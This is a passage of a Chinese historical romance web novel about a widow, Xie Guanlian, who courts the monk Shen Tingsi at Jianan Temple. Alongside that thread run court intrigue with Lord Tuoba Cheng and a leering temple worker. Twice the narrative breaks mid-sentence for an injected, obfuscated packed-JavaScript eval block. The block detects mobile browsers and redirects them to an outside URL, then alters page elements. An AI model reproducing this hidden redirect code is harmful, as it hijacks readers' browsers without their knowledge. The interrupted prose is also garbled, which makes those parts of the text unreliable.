沈听肆没看见她脸上的笑,倾身将小兔子放在地上,找来石头砌墙将它们都圈在里面。 谢观怜见状蹲在他的身边,不解地问道:“怎么将它关起来了?” 他没有抬头,“因为山上的泉水都冻住了,现在放它回去,或许会成为林中野兽的口中食物。” 不愧是浸在经文中的慈悲人。 谢观怜凝着他神似柔情的侧脸,在心中一股敬意。 他这样的人天生就适合做佛子,清冷、寡情又不减对世人的悲悯与疏离。 谢观怜撑着下巴,目不转睛地盯着他行云流水的动作,视线不自觉地又落在藏在僧袍下偶尔滚动的喉结上。 那颗黑痣在透白的肌肤上是真的很艳俗。 若是没有这颗痣,她或许对他这样品行端正的佛子只有敬畏之心,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035026|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使体貌相再好,也绝不会主动前来。 可惜,她真的太喜欢了。 搭建完简陋的围栏,两人坐在院中的石凳上,商议接下来应当如何抓住那偷东西的贼。 谢观怜继说:“我担忧这贼人他会不会见我发现了,不再来找我,又去别人那里呢?” 她没将月娘她们也丢东西的事说出来,斟酌言辞,担忧说得很隐晦。 明德园住的都是寡妇,万一那贼人霪心大起,起意折辱人。 像月娘这种胆小的女子选择保住名声,隐瞒此事的比比皆是,哪怕被欺负了也闭口不言,久而久之只会助长那贼人的胆子。 沈听肆明白她的担忧,眼神安抚她,“此事我已以寺院需翻修铲雪为由禀明给师傅,再等几日,应该就能查出来是谁了。” 谢观怜听后追问:“这如何能查出来?” 翻修也只是将周围的雪铲掉,而且人多眼杂,只会越发的难以找到那人。 她怀疑那人见忽然这般动静,但凡警惕心强些都会发觉自己已经被发现了,然后选择逃走,或则这段时日安静一下,最后待风波平稳后再度出来。 这样只会打草惊蛇。 沈听肆面对她的追问,缓声解释:“能熟悉寺庙之人,必定常年住在寺中亦或者时常来,僧人几乎都住在一起,但凡少个人,亦或是箱笼中多一样东西,被人发现了那便是犯下大忌,所以应当是借住在寺中的修行之人,或是寺中的帮佣。” 修行之人心中敬畏神明,会在神佛眼皮底下犯事的可能极低,但暂住在寺中的帮佣或许就不一定敬畏神明,甚至还很熟悉迦南寺每个位置。 能在被发现后熟练地逃走,极有可能是熟悉寺院的。 所以先从帮佣查起。 谢观怜轻声道:“可是当夜的天很暗,他又蒙着面,我没有看清他的脸。” 沈听肆问:“还记得那人的身形轮廓吗?” 谢观怜连忙点头:“记得,瞧着很年轻,莫约二十出头,比你……” 她迟疑地伸手比了下。 他神色温和地站起身,由她打量着比划。 谢观怜以前只留意这张脸,很少去打量他的身量体型,现下他忽然站在面前低着头,她蓦然发现自己要想要看见他的脸,竟需得要仰头。 宽肩窄臀,双腿修长,哪怕穿着简单的僧袍也能隐约猜想到他藏在里面的优越轮廓。 她神色游离地盯着他的腰,想到之前不慎扑倒在他身上时,掌心触碰的硬肌。 他应该是时常上山伐竹木修行。 这身体是真好,一看便很会用力。 15.真心 “檀越?” 青年的嗓音略显平淡。 谢观怜蓦然回神,发现自己盯着他的腰看了很久,这次实打实地脸颊发烫了。 她站起身,抬手在他耳根的位置比划了一下,强装镇定地道:“我记得他大约有这般高。” 沈听肆侧眸看向虚停在一旁的手,白皙娇嫩,是最适合拈花作画的白葱细指。 “嗯,我明白了。”他坐回石凳上,眉目寡淡地凝着她道:“到时你认出之后先不要打草惊蛇,剩下的交予我便是。” 谢观怜颔首,看他的眸中全是信赖:“好。” 两人刚将此事商议好,外间便传来侍从与人交谈的声音。 谢观怜听见似有客人来访,侧首看向不远处的竹木桥对岸,依稀可窥见有一身高体壮的男子在与侍从交谈。 她觑着对面侧首凝望门口的沈听肆,犹豫问道:“可要我避一避?” 沈听肆收回目光,对她摇首,言简意赅地说:“不必。” 院门大敞,外面的人一眼扫来便能看见,让她去避开反而彰显得欲盖弥彰。 见他如此冷静,谢观怜也不担忧,扶桌起身与他请辞:“既有人前来寻法师,怜娘便不打搅法师了。” 沈听肆对她颔首。 谢观怜行出院内,恰与侍从领来的人迎面撞上。 原以为是哪位香客前来论佛听禅,未曾料想竟然之前有过一面之缘的男人。 男人面冠如玉,长眉冷眸,内着暗纹金丝锦袍,外披玄色毛领大氅,身形健硕颀长,周身气度凌冽难以接近。 她美眸含诧,与他对视上:“是你?” 拓跋呈也没料到她竟从小舍中走出来,亦是一怔,遂闻她脱口而出的惊讶,眉心微扬,开口道:“你怎会在此?” 他像是忘了上次的不愉快,神态自然地问她。 谢观怜刚刚问出那句话后,心中已然生悔,她与他本就不熟,何须主动来搭话。 他不回应,亦或不认识她倒也罢了,偏生他还顺着她的话熟练地交谈,她不好不回应。 谢观怜乌睫轻敛,柔声道:“与悟因法师议论佛法,现正离去。” 迦南寺中比沈听肆对佛法研究透彻的人甚少,不少人为了能听一场法会不远千里而来,甚至连王庭的高僧也时而会遣派弟子前来与之谈经论佛。 这已是常态,所以拓跋呈并未多想。 倒是没想到竟会在临走之前,还能遇上她。 拓跋呈目光垂落在面前螓首蛾眉的女子,细项微垂,露出一截白皙融入雪的肌肤,春黛双蛾嫩,秋蓬两鬓侵,清冷之中还有成熟之韵。 他不禁看得有些久了。 谢观怜隐约察觉他的目光长久落在身上,浑身不适。 此处是私院,她来了数次从未见过旁人,其实这人竟能让人亲自带过来,可见其身份不简单。 不过谢观怜并未太在意那人身份是什么,与她也无甚关系。 她兀自与他福礼,错身朝着前方继续离去。 拓跋呈的视线随之而动,立在远处望着她莲步款款的背影,哪怕沉厚的冬裳穿在身上,也有股子羸弱不经风的轻盈之态。 他下意识开口:“等等。” 一旁的侍从正欲开口唤侯君,拓跋呈转眸轻飘飘地乜斜一眼。 侍从察觉出他不想暴露侯君的身份,便没开口唤。 谢观怜停下脚步,侧首回望的他的雾蒙眸儿含惑意。 拓跋呈俊脸冷峻,阔步上前扯下腰间悬挂的汉白玉佩,放进她的手中,道:“明儿我便要离开迦南寺,这物件赠送与你,日后若是有解决不了的事,可凭借此玉佩来找沈听肆,寻他帮你。” 谢观怜猝不及防被塞了一块玉,茫然地抬眸看他。 拓跋呈自幼长在军营中,几乎从未见过如此柔情似水的眸儿,眼底似藏着一汪春江翻的浪潮,用如此美眸湿盈盈地望来,让他忍不住别过头。 再如何抑制,耳根处还是蔓出了红痕。 拓跋呈怕她不知沈听肆是谁的俗名,轻咳解释道:“悟因便是沈听肆,有事寻他帮你。” 原是打算在迦南寺再待几日,孰料君主容不得他安居此处,打定主意要削他兵权,八百里加急,连夜派人送来旨意,让他前去封地赴任,所以他今夜就要离开。 临走之前他还没达到其目的,就如此走了,心有不甘,故而前来此处,没料到会遇见她。 既遇上,那便说明两人有缘。 玉佩那日后他有派人去查过她,知她曾是雁门之人,刚嫁来丹阳半年,连堂都没有拜,短命的丈夫便撒手人寰,她亦成了寡妇,被府中人送来迦南寺。 也难怪她会向自己丢玉佩,想必是想要另攀枝头。 若她正乃有夫之妇,他或许还有所顾虑,但若是寡妇便无所多虑。 寡妇再嫁之事不算少。 既攀到他面前,他对她也不厌恶,届时可娶回封地,尚且能给予她一生荣华富贵与尊荣。 谢观怜不解他这是何意,欲将手中玉佩还与他,却被他屈指用板戒压着。 拓跋呈言简意赅地说:“拿着,你府中之事,我会替你处理干净。” 她府上有何事需要他去处理干净? 谢观怜被他的话吓得手一抖,往后退了退,看他眼神含上警惕。 而拓跋呈说完这话,已转身与侍从吩咐道:“走罢。”说罢,跨步往内院走去。 谢观怜眺目望着男人进去后便关上大门的院子,低眸看着手中的玉佩,眉头紧锁。 此物做工精细,玉质上乘,恐怕不是寻常权贵能用的。 她没丢玉佩,握住继续朝着山下而去。 日落余晖,竹林映雪,赤诚的金黄一片片被柔风吹得簌簌。 侍从将热茶奉上,候在一旁。 “小侯君请。”青年眉目柔慈地望着对面的男人。 拓跋呈端起来尝了尝,想起不久前刚出去的女子,遂又搁下问道:“沈郎君方才是与人论佛法吗?” 沈听肆颔首:“嗯……应当是。” 拓跋呈没留意他话中之意,沉思道:“如此,有一事想请沈郎君帮忙。” 沈听肆盯着他微红的耳畔,脸上笑意淡了些:“小侯君请说。” 拓跋呈斟酌道:“想请沈郎君平素帮本侯照看那女子一二。” 沈听肆是出家人,心中只有佛法,没有人比他更适合了。 “照看一二……”沈听肆低眸轻喃,遂又不经意地问:“不知小侯君是何意?” 拓跋呈道:“本侯与那女子有些缘分,原是想先帮她处理府中之事,再将她带在身边,但君王派人连夜让人遣本侯去封地,此去暂不能将她带在身边,故而与她说若是遇见麻烦之事,可前来找沈郎君。” “原是如此。”沈听肆神态安然宁静得仿佛受着香火的玉面菩萨,薄唇微扬。 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陈王倒是比想象中要舍得,但这种浮在表面的承诺从口中出来,犹如是叶落湖泊,鸟啄粟米,了无痕,空如也。 见他迟迟没有回应,拓跋呈蹙眉询问:“如何?” 他不信当今世上,还有谁比陈王开出的条件更令人心动。 沈听肆噙笑的黑眸清净,温声说:“我倒是更想与侯君做交易,帮助侯君夺天下。” 大逆不道之音从他的口中徐徐如冬雪地说出来,拓跋呈脸色微滞,连带着看他的眼神都带了些古怪之色。 放着好生的正经皇子不辅佐,反而要助他? 虽然沈听肆心思难懂,他不好驾驭此人,但是世上没有什么比登高位更让人心动的。 “小侯君,如何?”青年一双含着温润无害的浅笑望着他,然而无害之下透着深不见底的漩涡,蛊惑又令人感到陌生的心悸与森冷。 拓跋呈不知沈听肆心中究竟是如何作想的,也不可否认,这一句话无论真假,都令他很是心动。 他深深地望着眼前的青年,“你想要什么?” 沈听肆莞尔勾唇:“侯君方才说的。” 刚才说的? 拓跋呈暗忖方才说的话,没有犹豫地点头:“好。” 沈听肆脸上扬起浮在表面的欢愉,端起桌案上的茶杯,茶水的朦胧之气将清隽冷淡的眉眼打湿:“如此,预祝侯君早日得偿所愿。” 拓跋呈乜他饮下,随即一饮而尽杯中茶水。 拓跋呈并未再此多逗留,两人之间达成同盟后便下了山。 再度恢复安静的院中,侍从上前欲收拾那些被人碰过的杯具,丢进炉子里烧了。 刚碰上,忽闻郎君的语气懒散地响来。 “你看见刚在外面,两人对视了吗?” 侍从转头,见郎君骨节修长的指尖转着茶杯,浓密的黑睫在眼睑上透出一片柔软的阴影,似有难得的好奇,又像是随口一问。 侍从垂首恭敬答道:“回郎君,如拓跋侯君所言,两人相识,拓跋侯君还当着奴的面,给了怜娘子一块随身玉。” 想了想,侍从又如实说:“怜娘子接下后就下山了。” 说完后,上首便无声传来。 安静得悄然无息,透出压抑的冷淡。 16.狂热 翌日。 天下起了白茫茫的雪,明德园外铁稿声四起。 谢观怜一早便醒了,洗漱完后小雾从外面走进来,替她整理仪容再出门前去训诫堂。 原是想叫上月娘一起,但去时听小雪说她因昨儿夜里下了场大雪,不至清晨便发烧了,今儿便不去了。 谢观怜关切地询问几句,遂带着小雾出了明德园。 许是昨夜沈听肆将铲雪重刷漆之事禀给了住持,所以今日寺内的帮佣都已经开始干活了。 她透过轻纱帷帽,仔细留意周围的帮佣,但一路过来都未曾看见熟悉的身影。 听完法师诵经的早课,谢观怜在四周闲逛。 迦南寺为第一佛寺,香火很是鼎盛,沿路过来能看见不少的僧人,正引着香客去各个供奉的神龛拜佛。 谢观怜来到观音殿,如寻常香客那般莲步上前,捉裙跪坐在蒲垫上,虔诚的双手合十:“请求菩萨保佑信女早脱苦海。” 正在刷彩漆的郎明高下意识侧目。 巨大的观音仿佛占据了整个大殿,色彩明艳,难掩渡人之悲悯,而祂面前跪坐的女子背脊挺拔,身形清瘦,灰白的外裳下淡紫色的裙裾绽如罗兰。 哪怕看不见面容,单是身段也会情不自禁的被吸引。 他盯着那女子,目光随着她俯拜时露出的婉约身段起伏,听着女人似哀似愁的腔调柔肠百转。 他看得隐晦,没人察觉。 小雾见状也跪在谢观怜身边的蒲垫上,学做她的模样,认真地说:“一定要保佑我们娘子心想事成。”然后结实地重重磕头。 谢观怜闻言侧首,忍不住失笑。 两人照常拜完佛后站起身离去,携风而来时更是有一股淡淡的雅梅香。 朗明高眼看着她以弱柳之姿拜完观音,连忙蹲在角落埋头与身边的人一起为莲座刷漆。 因他蹲在地上,且面上沾着彩漆,谢观怜目光只是在掠过他时觉得有几分熟悉,并未多想。 从他身边经过时帷帽不经意被撩起一角,露出藏在里面的美艳面容。 是明德园中的那美貌小寡妇。 在迦南寺做帮佣的人,私底下聚在一起都会议论这群年轻的寡妇,甚至还有不少人幻想夜里乘人不备,摸去明德园找那些小寡妇快活。 而那些寡妇中,刚才那位姓谢的寡妇生得模样最好,被人议得最多。 不过也都是嘴上说说罢了,这群年轻寡妇都是有身份之人,想他们这种只敢在心里和嘴上说,不敢真的去。 朗明高很难遇上她,忍不住看得久了些,直到身边的人开口唏嘘。 “那好像是明德园的小寡妇吧,模样真俊俏,可惜了,年纪轻轻就死了丈夫。” 就是这种语气,像极了阴沟里的老鼠觊觎月光,妄图用沾满污秽的手,将圣洁的拉进泥里拼命践踏。 朗明高收回视线,随口回答道:“说明她和我们一样,命不好。” 虽是如此说着,但郎明高却暗自留意她离去的地方。 另一个帮佣见他兴趣不高,没再议论此事了。 聊了一些旁的,朗明忽然高侧首对身边的人道:“好像红漆不够了,我去看看还有没有。” 身边一伙的帮佣不疑有他,顺口说道:“顺便再要几匹布过来,这里刷完,将小观音盖一盖。” “好。”朗明高点头。 朗明高借口走出观音殿后略微整理了仪容仪表,又转蹲在院中的铜钱水缸前搅碎霜花,待到将身上沾的彩漆简单地洗干净,才不紧不慢地朝另外一边走去。 谢观怜要上山找悟因,不好带着小雾便让她先回去。 “娘子又要去找悟因法师吗?” 小雾噘嘴,一眼便看出了她的心思,小声嘀咕:“这悟因法师常年待在佛寺中,受佛经熏陶,恐怕娘子再与他偶遇千百回,他可能都动不了凡心。” 谢观怜被看穿,心下也不觉得尴尬,听着她这番话,捏着她圆嘟嘟的脸颊,戏谑道:“小孩子哪懂什么是动凡心,快些回去,等会子我回来可要检查你的字学得如何,不好可要受罚了。” “娘子就爱欺负我。”小雾脸垮下,对她欠身,倒是很听话地回去了。 谢观怜望着小雾回去的背影弯眸笑,随又转过头打算往后山走去。 刚走几步,身后忽然传来陌生的声音。 “谢娘子。” “谢娘子请留步。” 很陌生的男音。 谢观怜脚步停下,转头看向身后之人。 男人虽穿着粗布棉衣,但那张脸倒是白净得有文人之气。 不过她并不认识这人,他却能明确地唤出她的名字。 朗明高脸上扬起清爽的笑,三步并作两步走过去,但又知礼数并未靠得太近,道:“娘子好,小生乃刚在观音莲座前的上彩漆的之人。” 谢观怜想起来了,刚才观音殿里的确有人。 她在迦南寺半年除了沈听肆,从不与外男接触。 而且她一眼便看出眼前的这个男人,哪怕表现在再风度翩翩,落在她身上的目光仍旧带着男人看女人的色慾之气。 她无心与这人交谈,正欲转身离开。 “娘子稍等片刻。”朗明高看出她的清冷疏离,连从袖中抽出一张叠得规整的白净帕子递过去。 “终于碰上娘子了,这是我之前在训诫堂外拾到的绢帕,因为之前远远儿地见过娘子几面,认出这是娘子时常别在手腕上的那条。” 谢观怜眺目看去。 果真是她的,是之前丢失后与小雾转去寻找无果的那张帕子。 没想到原是被他拾了过去。 不过她这张帕子已经丢了很久,且一直以来都束在手腕上由袖子挡着,冬日更是甚少露出来。 他能留意到她手腕上的这条帕子,还是远远儿的见过,似乎不可能。 而且他既然已经拾到了,早应该还给她,而不是这么久过去了才拿出来。 男人的心思有时很容易懂。 她对朗明高淡淡摇头:“郎君应是认错了,我没有丢过什么帕子。” 朗明高脸上神色一顿,捏着帕子含歉地说:“或许是我认错了,叨扰娘子了。” 谢观怜对他颔了颔首,没再与他过多说话,转身继续往前而走。 美人莲步款款,每一步都似踏在心尖儿上。 朗明高看着她的背影消失在拐角处,拿起帕子置放在鼻下,眯着眼露出痴迷。 不愧是美人,这么久了,帕子上还沾着那股子淡淡的香气。 所以他一定要得到这女人。 朗明高脸上闪过志在必得,在原地又站了须臾才朝着明德园的方向走去。 后山的路被走得太少了,谢观怜一路走来登云履都被打湿了。 下过雨的雪山路不好走,当她走至半山腰时,余光扫至下方,看见了正往上徐徐而来的青年。 那一袭素色的僧袍似与白雪相融,透出清冷的净。 谢观怜没想到他也正往山上来。 她转眸打量周遭有什么可利用之物,看见一旁的小斜坡,脑中闪过一道想法。 自古以来英雄救美人乃无数文人墨客最爱写的桥段之一。 她抬手整理被帷帽压过的发髻,狡黠地莞尔勾起朱唇,解开手腕上的纱绢,提起裙摆往一旁移去,计算他何时恰好路过此处。 小岳正与郎君说着话,忽然听见从头顶传来女子的惊呼声,下意识往上抬头。 有人失足从上面滑了下来。 小岳忙去拉郎君往后退:“郎君小心,山上好像有东西掉下来了。” 可还没有碰上,眼前的郎君就已先一步往前,自然地伸手将上坡掉下来的女子稳当地接在怀中。 而去拉人的小岳脚下打滑,直接跌坐在地上,两眼呆滞地看着郎君刚为了英雄救美,竟拉都拉不住。 这还是他那一心向佛的郎君吗? 小岳赶紧从地上爬起来,站在沈听肆的身后,虚点脚尖去看他怀中的女子。 郎君怀中的那女子亭亭似月,嬿婉如春,确是不可多得的美人儿。 难怪郎君会主动救人。 耳边的簌簌的冷风声停了,谢观怜乌睫颤簌,神色茫然的与男人漆黑的眼眸对视上。 沈听肆垂眼盯着怀中的女子,薄唇微抿。 她柔媚的玉颜上还沾点惊魂未定的慌意,眼尾洇出天生的湿润,似没想到自己会被人接住,后怕的双手环住他的脖颈,柔软的身子控制不住地颤栗。 “悟因……”她一副快要哭出来的神态。 沈听肆视线从她眼尾被划伤的红痕上掠过,顺着往上看了眼她掉落的地方。 山上一片宁静,只有她从上面落下来时压过的潮痕迹。 刚沈听肆只听见她的声音,并未看见其他人,但照这般看来,她应该是在被人追逐不慎从上面跌落。 他敛目,弯腰将她放在地上。 谢观怜因从上面掉下来受惊了,浑身都还是软的,一时被放下来脚下便一阵酥软无力。 她似差点就要跌在地上,手指连忙攥住他灰白的袍摆。 沈听肆见她赖在面前的羸弱姿态,好脾性地问道:“是站不稳吗?” 徐徐如雪的腔调带着温凉的斯文,问她一句不过是见她起得艰难,按例一问,不见得有多少真的关心。 身后的小岳见郎君这些年待在迦南寺,真养了一身疏离的佛骨,心下微叹。 家主想要郎君娶妻生子的愿望,也不知何时才会落实。 谢观怜脸上浮起几缕尬色,老实下来,小声说了句抱歉,装模作样地想往旁边倚去缓缓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15046326|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她脚腕应是扭伤了,此刻委实提不起力气,勉强试了几次眼眶沁出湿雾,还是又无力地跌坐回去。 她坐在地上拉着他的衣摆不放,时不时还用幽怨地看着他,姿态可怜又柔弱。 立在身后的小岳看得抓耳挠腮,恨不得上前替郎君将她扶起来。 沈听肆默了几瞬,倾身弯腰将她直接揽起来。 谢观怜的身子蓦然腾空,细长的手指下意识抓住他胸前雪白的菩提珠。 珠子冰凉,泛着玉泽的冷意,似乎和寻常的珠子材质有些不同。 她正打算仔细感受一下,却看见他身后的那一脸讶然的小岳。 小岳赶紧背过身装作没看见,脸上的惊讶却是盖不住。了,满脑子都是郎君抱了一个女子,那女主生得还极美。 沈听肆将她抱至旁边的大石上放下。 谢观怜侧身坐在石上,裙裾覆盖住纤长的腿,露出的靴履上碰撞得可爱的珍珠佩饰。 她眸含感激对他道谢:“多谢法师。” 沈听肆从她那对珍珠上收回视线,盯着她问道:“你的侍女在何处?” 毕竟他是外男,她作为已经嫁人的小妇人,现在在后山与男子有牵扯,若被人发现了有碍清白。 谢观怜摇摇头,敛睫道:“小雾在明德园。” “嗯。”沈听肆颔首,转头乜向身边的小岳。 还没开口,小岳便抖机灵地接话:“奴晓得了,这就去寻个姑子去找那小雾姑娘。” “嗯。” 小岳得令,脚程急急的往山下去,就怕眼里的震惊被郎君发现。 沈听肆平淡地看着他步伐飞快的往山下跑,转头看向坐在石上的谢观怜。 许是刚才从上坡滚下来时,雪打湿了她的裙裾与绣靴,此刻她正坐在高石上弯腰艰难地拧着裙摆,玉白葱似的指节上还有刺眼的划伤。 灰白的僧袍被风吹得簌簌作响,他看起来高雅淡薄,温声问她:“檀越怎么从上面滚下了?” 谢观怜抬起沾染污秽的脸,对上他那双浓黑的眸,后知后觉地露出惶恐害怕的神色:“刚刚有人在追我,其实我本是想上山来找你,可一路上我隐约发现身后好似跟了人,他见我发现便被他追了一路。” “好在遇见了你。” 沈听肆眸光微动,安慰她:“别怕,已无事了,他没有追来,应是畏惧被人发现。” 青年一身素色僧袍,瑶阶玉树,如君样,气质温驯祥和,不自觉能让人心神安宁下来,乃人间少有的神性。 谢观怜刻意逼出眼眶的湿雾,用擦伤的手指攥住膝上的裙摆,半昂起白皙的脸庞,双啼长垂地望向他,眼底是压抑不住的惧怕,还充满对他的依赖。 “那他日后还会不会再跟踪我,我觉得他或许就是之前偷我东西的那贼人。” 沈听肆摇首:“小岳下山会顺便派人去抓,或许能守到他。” 人应当是守不到了,因为根本就没有人跟踪她,不过是为了想与他接近的说辞罢了。 谢观怜颤着氤氲雾水的眸,担忧地说:“他没见过那人,能抓住吗?” 一位羸弱、胆小的小女子被她娴熟地诠释至极点,微翘的眼尾带着点天生的湿润与嫣红,伤损的脸庞娇艳美好,媚而不妖的悄然勾着人。 若是寻常意志不坚定之人,早就已经被若有若无的勾引诱得七荤八素,陷入这等温柔乡中。 唯独他,八风不动,稳如泰山地凝着她眼尾的一点艳红,唇角微微上扬出柔和的弧度:“能抓住。” 他笑得很漂亮,甚至连态度都无可指摘,看似亲近,却又实藏疏离。 谢观怜轻咬下唇,乌睫长敛,声气小小地‘嗯’了声,垂落于鬓角的秀发拂过秀美的小脸。 两人之间一时无话。 沈听肆没再讲话,折身踱步立在不远处的风口,贴心地替她当了些寒风。 谢观怜嗅见吹来的风中似有股淡淡的檀香,撩眸看过去。 清冷的佛子侧脸轮廓清晰分明,生得隽秀却没无丝毫女气,在白雪皑皑的半山腰立着,似供奉在雪山之巅的神佛玉雕像。 寒风吹来,谢观怜抬手拢了拢鬓边的秀发,心中蔓出石榴的甜味儿的愉悦。 上次他可连手都没有伸过呢,更不可能会替她挡风。 他似乎和最初相见时有所不同了,没那种对所有都漠不关心的清冷,哪怕方才的安慰还很疏离冷漠,也依旧没有将她放在眼里。 可她却想起了在雁门时,兄长曾经养过一只雪白的短腿狸。 对那只狸奴,当初兄长并不算是特别喜欢,但时日一久,她眼睁睁看着兄长日渐变得狂热,甚至一日不摸、不碰都会浑身难受。 现在的他和当初的兄长很相似呢。 她期待他这双清冷淡薄的眼中泄出情慾。 17.吞噬 下山的那小厮很快便带着小雾上山。 小岳没想到小雾竟是个身高还不及胸口的小姑娘,一听闻主子从摔了,一路哭哭啼啼地爬上来。 小雾一看见坐在石上的谢观怜,眼眶陡然一红,忙不迭地冲上去,“娘子。你没事罢。” 好多擦伤,手指,脖颈上,这些能看见的都有红痕,连裙摆都被勾破了。 小雾目光迅速的在她身上转圜一圈,若不是身边有人,险些就要嚎啕大哭了。 谢观怜连忙卷起袖子擦拭她的脸颊,连道:“天可怜见的,比我还要可怜的小雾别哭了,我没事。” 小雾被哄得憋住眼泪,将她从石上扶下来:“娘子真的太可怜了,自幼就怕疼,现在这么多伤可如何是好,我可怜的娘子。” 谢观怜露出忧郁之色,小心的将力道收着半倚在她的身上,暗地拍了拍小雾的肩膀,示意别演得太过了。 小雾抽搭着收起胡说的话,丧着脸扶着谢观怜走到两人面前。 谢观怜福礼:“多谢法师与这位小哥今日搭救。” 小岳几曾何时与这般漂亮的娘子讲过话,当即红着脸摆手,道:“都是我家郎君搭救的。” 郎君? 原来这是沈府派来的小厮。 她压下心中浮起的涟漪,面色不改羸弱的对沈听肆行礼:“多谢法师。” 沈听肆摇头,目光越过谢观怜脸上的郁色,温润的声线含有礼制的斯文:“不必言谢,山路难走,小心脚下。” 谢观怜轻颔尖颌,在小雾的搀扶下往山下走去。 沈听肆立在原地凝着她们渐远去的背影,僧袍被风吹得淡濛濛,如薄雾轻笼。 小岳盯着这两人挠头暗想,刚才那女子生得实在好看。 还不待他多想,身边的郎君也已收回目光,转身继续朝着山上行去。 他忙跟在身后,继续说刚才被打断的事。 “家主之意乃是想让郎君快些回去,家主预推算过不了多久,不止有拓跋侯君、陈王、乃至各路侯君恐怕都会大乱……” 天下更替不过眨眼之间,纵观史书记载,再大的王朝每过几百年之余,不久便会更换,万物一府,生死同状,这几百年来也唯有士族长久把持权力。 如今各方士族大多受够了平淡,也想要坐一坐至高之位亦是常态。 沈听肆早在记事时,便已经参悟透了世间权力的道理。 “还有陇山西氏,听说也已经开始在暗地里招兵秣马,眼瞅着不知是要投效各路侯君,还是打算要自立为王。” “还有不少驻扎在封地,当年与岩王相交甚好的府主,知晓岩王妃当年遗落了一孩子,都在四处寻找。” 只是这些人并不知其实遗落的孩子是男是女,都将那孩子当做郎君,想借着前朝皇室遗孤造势,好正大光明地打进丹阳,坐那九五之尊之位,号令天下。 小岳喋喋不休地说着那些,他早已听厌烦的事。 沈听肆眉宇间并无任何不悦之情,踱步上台阶,目光环视周遭,不经意看见被丢在雪地上被踩踏上污秽的帷帽。 是不久前谢观怜掉下来的,她没有带走,而是随意丢在地上。 小岳也看见了,止住口中的话,讶然道:“这是不是刚才那娘子遗落的?” 沈听肆淡敛笼雾的眉眼,并未否认。 小岳想到刚才那貌美娘子,上前拾起雪地的味道,依稀还能闻见上面淡淡的梅花香。 “郎君,这个要不要奴等会子下山时,顺便带给那位娘子?” 他以为自家郎君方破格抱了一女子,应当与她的关系很好,故而才这般出言。 孰料青年淡然摇头,脸色平静随和得看上去并不太在意,哪怕语气仍旧温柔。 “找个风口,丢了吧。” “哦,丢……”小岳以为是准许他下山时带过去,随后又快速地反应过来郎君说的是丢了。 万一人家娘子转头又来寻这帷帽呢? 小岳还想开口劝一句,但与青年温和的目光对上,背脊无端窜出一股寒凉之意。 “是。” 沈听肆踏上石阶,缓步往上,“你去请那小姑娘时,她可有问你什么?” 小岳不知他为何会如此问,如实说:“奴最初是找了个姑子去请她,小姑娘见是奴,她还很警惕,先问了奴的名字,谁家的人,再问我寻她作何。” 说到这里,他心中纳闷,想不通小姑娘这询问的顺序怎是这样的。 沈听肆闻言眼底慢慢泄出柔情的笑,续问:“还有呢?” 小岳敛下纳闷,语气蔫耷耷地道:“然后奴就说是她家娘子受伤了,她一听,然后就哭了一路。” “一路上边哭边问你什么?” 小岳挠头,如实回答。 小姑娘问得可多了,一路上没停过。 沈听肆听完,轻赞道:“她比你要聪明。” 冬日上山的小路没有多少树,大多是光秃秃的树桩,所以怎会连人一路都快跟上竹林了,都还没有发现呢? 懂得用外表迷惑人,从而降低别人的警惕,怎会真的是只会哭啼装柔弱之人。 谢观怜。 他露出奇异的微笑。 另一边。 谢观怜确定沈听肆他们也已经走了,且不会看见她们,不再装了,站直了身子轻‘嘶’地揉着手腕。 这会儿她脸上没有刚才在上面,那副手无缚鸡之力的小可怜相。 小雾见她手腕上的伤,噘嘴说:“娘子你下次可不要再这般铤而走险了,刚才奴婢都被吓坏了,真以为你摔了,还好我先问了一下那人是谁的人才松口气。” 谢观怜侧头眯眸看小雾,喟叹道:“小雾越发聪明了。” 小雾对她的夸赞没露出欣喜,嘟嚷道:“回去奴婢给你上药,千万别留下疤痕了。” 她没问谢观怜在做什么,只关心她身上的伤。 谢观怜心中微暖,捏了捏她的小脸,“没受伤,刚刚是骗他的。” 小雾丧着脸,专注地盯着她手指上的伤,“娘子的手上都有擦伤呢。” 谢观怜不在意地看了眼,佯装被人追逐而滚滑下来自然得要有些证明。 她没再说什么,笑了笑,与小雾一起走下山。 下山后天色恰已经临近暮色。 回去后的谢观怜换衣后又上了药,小雾才打着哈欠回去。 夜里室内烛光摇曳朦胧,谢观怜只要想到白日便难以入眠。 她起身坐在矮案前,提笔按照记忆回想丢失的那张纸上的梵字,想要写下来,但却发现自己似乎已经有些忘记了。 她盯着空白纸张许久,最后温顺地敛下眉眼,提笔写了几个‘悟因’。 写完后她又将纸张揉碎,随手丢进炉中躺回榻上安寝。 翌日清晨。 想着今日是悟因撞晨钟,谢观怜没去训诫堂,早早儿地守在钟塔。 她亲眼着青年佛子眉宇染着清晨的湿雾,面容洁白,姣好得似水中的莲花,站在高台上充满神性和干净的气质。 冬日的早晨很少有人能起这般早,除了敲钟接班的僧人,便只有谢观怜了。 沈听肆从钟塔上下来,恰好看见她翘首以盼地踮着脚尖,手中拽着一张灰色的帕子守在下面,露出的手指上还留有昨日的擦伤。 谢观怜看见他灰袍翩翩的从上面踱步而下,眼眸陡亮,又因人多眼杂,就矜持地垂下头。 待他下来后,她先是睇给他意味深长的眼神,然后脚步微陂地转身,朝另一边走去。 其间似还担忧他没有看出眼神之意,三步一回头,乌黑的发髻低垂出含羞带怯的柔情。 